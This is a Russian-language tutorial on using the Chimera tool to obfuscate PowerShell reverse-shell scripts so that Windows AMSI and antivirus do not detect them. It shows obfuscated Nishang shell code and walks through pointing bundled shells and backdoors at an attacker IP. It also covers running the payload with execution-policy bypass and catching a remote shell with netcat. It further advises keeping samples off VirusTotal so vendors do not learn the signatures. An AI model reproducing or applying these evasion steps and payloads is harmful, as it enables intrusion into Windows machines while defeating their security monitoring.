Как обойти антивирус с помощью Chimera

Как обойти антивирус с помощью Chimera

Встроенное решение Microsoft для защиты от вредоносных программ делает все возможное для предотвращения распространенных атак. К сожалению, для пользователей Windows 10 уклонение от обнаружения не требует почти никаких усилий. Злоумышленник, вооруженный этими знаниями, легко обойдет защитное ПО с помощью любого количества инструментов.

Еще по теме: Обфускация PowerShell

Поскольку решение Microsoft для защиты от вредоносных программ является первой линией защиты Windows 10, оно является предметом множества отличных исследований в области безопасности. В этой статье будет представлено краткое введение в то, как злоумышленники могут полностью уклониться от нее.

AMSI — основа антивирусного ПО Windows

Основой антивирусного ПО Microsoft, представленного в Windows 10, является интерфейс сканирования на наличие вредоносных программ Windows или AMSI. Антивирусные приложения, включая Защитник Windows, могут вызывать свой набор API-интерфейсов, чтобы запросить сканирование на наличие вредоносного программного обеспечения, сценариев и другого содержимого. Чтобы вкратце описать это, давайте посмотрим на определение Microsoft:

Интерфейс сканирования на наличие вредоносных программ Windows (AMSI) — это универсальный стандарт интерфейса, который позволяет вашим приложениям и службам интегрироваться с любым продуктом защиты от вредоносных программ, установленным на машине. AMSI обеспечивает улучшенную защиту от вредоносных программ для ваших конечных пользователей и их данных, приложений и рабочих нагрузок.

На приведенном ниже снимке экрана злоумышленник загружает скрипт («shell.ps1»), содержащий гнусный код для немедленного установления соединения с удаленным сервером. При попытке выполнить сценарии PowerShell таким образом AMSI будет использовать обнаружение на основе сигнатур для выявления вредоносной активности.

Как обойти антивирус с помощью Chimera

Ниже приведено изображение того же сценария, который используется после некоторой обфускации. Windows 10 не имеет проблем с его запуском. Произвольное сообщение печатается в терминале, когда устанавливается соединение с сервером злоумышленника.

Обход антивируса с помощью Chimera

Как обойти антивирус с помощью Chimera

Chimera — это сценарий обфускации PowerShell, который я создал для обхода Microsoft AMSI, а также коммерческих антивирусных решений. Он переваривает вредоносные сценарии PowerShell, которые, как известно, запускают антивирусные программы, и использует простую подстановку строк и конкатенацию переменных для обхода обычных сигнатур обнаружения. Ниже приведен пример работы Химеры.

Ниже приведен фрагмент Invoke-PowerShellTcp.ps1, того же сценария «shell.ps1», который ранее запускал AMSI.

$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}

#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)

#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)

VirusTotal сообщает о 25 обнаружениях скрипта (показано ниже). Это неудивительно, поскольку Invoke-PowerShellTcp.ps1 невероятно популярен.

Проверка на вирусы на сайте Virustotal

Вот тот же фрагмент, обработанный Chimera:

# Watched anxiously by the Rebel command, the fleet of small, single-pilot fighters speeds toward the massive, impregnable Death Star.
              $xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov = $jYODNAbvrcYMGaAnZHZwE."$bnyEOfzNcZkkuogkqgKbfmmkvB$ZSshncYvoHKvlKTEanAhJkpKSIxQKkTZJBEahFz$KKApRDtjBkYfJhiVUDOlRxLHmOTOraapTALS"()
       # As the station slowly moves into position to obliterate the Rebels, the pilots maneuver down a narrow trench along the station’s equator, where the thermal port lies hidden.
          [bYte[]]$mOmMDiAfdJwklSzJCUFzcUmjONtNWN = 0..65535|%{0}
   # Darth Vader leads the counterattack himself and destroys many of the Rebels, including Luke’s boyhood friend Biggs, in ship-to-ship combat.

  # Finally, it is up to Luke himself to make a run at the target, and he is saved from Vader at the last minute by Han Solo, who returns in the nick of time and sends Vader spinning away from the station.
           # Heeding Ben’s disembodied voice, Luke switches off his computer and uses the Force to guide his aim.
   # Against all odds, Luke succeeds and destroys the Death Star, dealing a major defeat to the Empire and setting himself on the path to becoming a Jedi Knight.
           $PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK = ([teXt.enCoDInG]::AsCII)."$mbKdotKJjMWJhAignlHUS$GhPYzrThsgZeBPkkxVKpfNvFPXaYNqOLBm"("WInDows Powershell rUnnInG As User " + $TgDXkBADxbzEsKLWOwPoF:UsernAMe + " on " + $TgDXkBADxbzEsKLWOwPoF:CoMPUternAMe + "`nCoPYrIGht (C) 2015 MICrosoft CorPorAtIon. All rIGhts reserveD.`n`n")
# Far off in a distant galaxy, the starship belonging to Princess Leia, a young member of the Imperial Senate, is intercepted in the course of a secret mission by a massive Imperial Star Destroyer.
            $xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov.WrIte($PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK,0,$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK.LenGth)
   # An imperial boarding party blasts its way onto the captured vessel, and after a fierce firefight the crew of Leia’s ship is subdued.

VirusTotal сообщает об обнаружении обфусцированной версии.

Обфусцированная версия вируса с помощью Chimera на сайте Virustotal

Хотя я загрузил образец в VirusTotal, это очень плохая практика. Как указано в его Политике конфиденциальности:

Все партнеры получают Образцы, которые их антивирусные ядра не определили как потенциально опасные, если один и тот же Образец был обнаружен как вредоносный хотя бы одним антивирусным ядром другого партнера. Такой обмен информацией помогает исправить потенциальные уязвимости в отрасли безопасности.

Проще говоря, если только одно антивирусное ядро ​​обнаруживает файл, созданный Chimera, файл распространяется более чем в 75 антивирусных компаний. Поэтому не загружайте файлы, созданные каким-либо инструментом обфускации, в VirusTotal. Вместо этого используйте локальную автономную виртуальную машину Windows 10 с установленными антивирусными решениями. Таким образом, если файл обнаружен, он не будет распространен среди всех крупных охранных компаний на планете.

Установка Chimera

Чтобы начать работу с Chimera, используйте следующую команду для обновления репозитория APT и установки необходимых зависимостей, необходимых Chimera для правильной работы.

~$ sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git

[sudo] password for user:
Hit:1 http://kali.download/kali kali-rolling InRelease
Reading package lists... Done
Reading package lists... Done
Building dependency tree
Reading state information... Done
coreutils is already the newest version (8.30-3+b1).
curl is already the newest version (7.68.0-1+b1).
curl set to manually installed.
gawk is already the newest version (1:5.0.1+dfsg-1).
gawk set to manually installed.
grep is already the newest version (3.4-1).
libc-bin is already the newest version (2.31-2).
perl is already the newest version (5.30.3-4).
sed is already the newest version (4.7-1).
xxd is already the newest version (2:8.2.0716-3).
The following additional packages will be installed:
   libjq1 (1.6-1)
   libonig5 (6.9.5-2)
The following NEW packages will be installed:
   jq (1.6-1)
   libjq1 (1.6-1)
   libonig5 (6.9.5-2)
0 upgraded, 3 newly installed, 0 to remove and 0 not upgraded.
Need to get 378 kB of archives.

Затем клонируйте мой репозиторий Chimera с помощью команды git clone. Я помещаю его в свой каталог / opt / chimera, как показано ниже.

~$ sudo git clone https://github.com/tokyoneon/chimera /opt/chimera

Cloning into '/opt/chimera'...
remote: Enumerating objects: 16, done.
remote: Counting objects: 100% (16/16), done.
remote: Compressing objects: 100% (14/14), done.
remote: Total 16 (delta 0), reused 16 (delta 0), pack-reused 0
Unpacking objects: 100% (16/16), 805.04 KiB | 1.79 MiB/s, done.

Затем рекурсивно (-R) измените владельца каталога, чтобы файлы были доступны без прав root.

~$ sudo chown $USER:$USER -R /opt/chimera/

Теперь перейдите (cd) в новый каталог / opt / chimera.

~$ cd /opt/chimera/

И повысьте разрешения сценария chimera.sh, чтобы разрешить выполнение в Kali.

/opt/chimera$ sudo chmod +x chimera.sh

Наконец, чтобы просмотреть доступные параметры, выполните Chimera с аргументом —help.

/opt/chimera$ ./chimera.sh --help

Oбфускация PowerShell

В каталоге shells / есть несколько скриптов Nishang и несколько общих. Все проверено и работает. Однако неизвестно, как непроверенные скрипты будут воспроизводиться с помощью Chimera. Рекомендуется использовать только входящие в комплект оболочки.

/opt/chimera$ ls -laR shells/

shells/:
total 60
-rwxrwx--- 1 user user 1727 Aug 29 22:02 generic1.ps1
-rwxrwx--- 1 user user 1433 Aug 29 22:02 generic2.ps1
-rwxrwx--- 1 user user  734 Aug 29 22:02 generic3.ps1
-rwxrwx--- 1 user user 4170 Aug 29 22:02 Invoke-PowerShellIcmp.ps1
-rwxrwx--- 1 user user  281 Aug 29 22:02 Invoke-PowerShellTcpOneLine.ps1
-rwxrwx--- 1 user user 4404 Aug 29 22:02 Invoke-PowerShellTcp.ps1
-rwxrwx--- 1 user user  594 Aug 29 22:02 Invoke-PowerShellUdpOneLine.ps1
-rwxrwx--- 1 user user 5754 Aug 29 22:02 Invoke-PowerShellUdp.ps1
drwxr-xr-x 2 user user 4096 Aug 30 18:53 misc
-rwxrwx--- 1 user user  616 Aug 29 22:02 powershell_reverse_shell.ps1

shells/misc:
total 36
-rwxrwx--- 1 user user 1757 Aug 12 19:53 Add-RegBackdoor.ps1
-rwxrwx--- 1 user user 3648 Aug 12 19:53 Get-Information.ps1
-rwxrwx--- 1 user user  672 Aug 12 19:53 Get-WLAN-Keys.ps1
-rwxrwx--- 1 user user 4430 Aug 28 23:31 Invoke-PortScan.ps1
-rwxrwx--- 1 user user 6762 Aug 29 00:27 Invoke-PoshRatHttp.ps1

Перед использованием сценариев измените жестко заданные IP-адреса (192.168.56.101) на свой адрес Kali. Чтобы узнать свой внутренний IP-адрес, используйте ip -c a и найдите адрес 192.168.X.X. Если вы не видите один из них, ваша система Kali, вероятно, настроена с использованием NAT. Вы захотите выключить виртуальную машину и использовать конфигурацию сети только для хоста.

/opt/chimera$ sed -i 's/192.168.56.101/<YOUR-IP-ADDRESS>/g' shells/*.ps1

Порт по умолчанию для всех сценариев — 4444. Используйте sed еще раз, чтобы изменить их, если необходимо.

/opt/chimera$ sed -i 's/4444/<YOUR-DESIRED-PORT>/g' shells/*.ps1

Теперь используйте следующую команду, чтобы скрыть один из доступных скриптов с помощью Chimera.

/opt/chimera$ ./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -o /tmp/chimera.ps1 -g -v -t -j -i -c -h -s -b -e

 _____________________________________________________

  ░░░░░░ ░░   ░░ ░░ ░░░    ░░░ ░░░░░░░ ░░░░░░   ░░░░░
 ▒▒      ▒▒   ▒▒ ▒▒ ▒▒▒▒  ▒▒▒▒ ▒▒      ▒▒   ▒▒ ▒▒   ▒▒
 ▓▓      ▓▓▓▓▓▓▓ ▓▓ ▓▓ ▓▓▓▓ ▓▓ ▓▓▓▓▓   ▓▓▓▓▓▓  ▓▓▓▓▓▓▓
 ██      ██   ██ ██ ██  ██  ██ ██      ██   ██ ██   ██
  ██████ ██   ██ ██ ██      ██ ███████ ██   ██ ██   ██
 _____________________________________________________

 ░ by @tokyoneon_

В команде много чего происходит. Я кратко разберу каждый аргумент, но просмотрите руководство по использованию для более подробного объяснения и шпаргалку для примеров. Также не забудьте использовать —help для более широких описаний.

  • -f: входной файл.
  • -o: выходной файл.
  • -g: исключить из сценария несколько специфичных для Nishang характеристик.
  • -v: подставить имена переменных.
  • -t: Заменить типы данных.
  • -j: заменить имена функций.
  • -i: вставлять произвольные комментарии в каждую строку.
  • -c: Заменить комментарии произвольными данными.
  • -h: преобразовать IP-адреса в шестнадцатеричный формат.
  • -s: заменять различные строки.
  • -b: обратные кавычки, где это возможно.
  • -e: изучить обфусцированный файл по завершении процесса.

Обход антивируса

В новом терминале запустите прослушиватель Netcat для приема входящих соединений. Обязательно всегда используйте -v, поскольку некоторые сценарии не выводят приглашение оболочки при установке нового соединения.

~$ nc -v -l -p 4444

listening on [any] 4444 ...

Переместите файл chimera.ps1 из Kali на локальный компьютер с Windows 10. Затем откройте терминал PowerShell и выполните файл с помощью следующей команды.

PS> powershell.exe -ep bypass C:\path\to\chimera.ps1

Вернувшись в Kali, терминал NC выдаст следующий результат — без претензий со стороны AMSI.

~$ nc -v -l -p 4444

listening on [any] 4444 ...
192.168.56.105: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.107] from (UNKNOWN) [192.168.56.105] 49725
Windows PowerShell running as user  on
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\target>

Заключение

Создание защитных средств безопасности — задача не из легких. Интерфейс сканирования на вредоносное ПО от Microsoft является прекрасным примером этого. Мотивированный злоумышленник всегда найдет способ ускользнуть от системы безопасности. В случае с Chimera он просто разбивает струны на множество частей и реконструирует их как переменные. Другие проекты, такие как Invoke-Obfuscation, доводят уклонение до уровня мастерства.

Еще по теме: Обфускация с помощью ProGuard

ВКонтакте
OK
Telegram
WhatsApp
Viber

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *